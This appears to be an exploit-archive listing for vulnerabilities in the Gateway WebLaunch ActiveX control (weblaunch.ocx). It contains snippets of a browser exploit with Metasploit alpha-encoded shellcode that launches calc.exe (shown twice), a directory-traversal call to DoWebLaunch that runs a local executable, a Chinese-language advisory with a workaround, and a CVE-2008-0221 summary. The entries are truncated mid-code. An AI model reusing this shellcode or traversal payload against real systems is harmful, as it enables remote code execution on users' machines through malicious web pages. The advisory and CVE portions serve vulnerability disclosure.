Gateway WebLaunch ActiveX Remote Buffer Overflow Exploit

No description provided by source. !-- Gateway WebLaunch Buffer Overflow Exploit written by e.b. Tested on Windows XP SP2fully patched English, IE6, Weblaunch.ocx: 93CEA8A4-6059-4E0B-ADDD-73848153DD5E Weblaunch2.ocx: 97BB6657-DC7F-4489-9067-51FAB9D8857E Thanks to h.d.m. and the Metasploit crew --...

Gateway WebLaunch - ActiveX Remote Buffer Overflow

Gateway WebLaunch Buffer Overflow Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +...

gateway-overflow.txt

Gateway WebLaunch Buffer Overflow Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +...

Gateway CWebLaunchCtl ActiveX控件远程栈溢出漏洞

BUGTRAQ ID: 27193 Gateway是美国一个著名的电脑品牌，产品包括PC、笔记本、外围设备等。 Gateway电脑所带的ActiveX控件实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户系统。 Gateway电脑中所安装的CWebLaunchCtl ActiveX控件（weblaunch.ocx）没有正确地验证对DoWebLaunch函数的输入，如果用户受骗访问了恶意网页并向该函数传送了超长参数的话，就可能触发栈溢出，导致执行任意指令。 Gateway weblaunch.ocx 1.0.0.1 临时解决方法： 在IE中禁用CWebLaunchCtl...

CVE-2008-0221

The CVE-2008-0221 entry describes a Directory traversal vulnerability in the WebLaunch.WeblaunchCtl.1 (CWebLaunchCtl) ActiveX control in weblaunch.ocx 1.0.0.1 (Gateway Weblaunch). The underlying issue is that an attacker can supply a ..\ (dot dot backslash) as the second argument to the DoWebLaun...

Gateway Weblaunch - ActiveX Control Insecure Method

Gateway Weblaunch - ActiveX Control Insecure Method Gateway Weblaunch ActiveX Control Insecure Method Exploit function Check //escape from systemdrive\documents and settings\username\local settings\temp obj.DoWebLaunch"","..\..\..\..\windows\system32\calc.exe","",""; Unable to create object...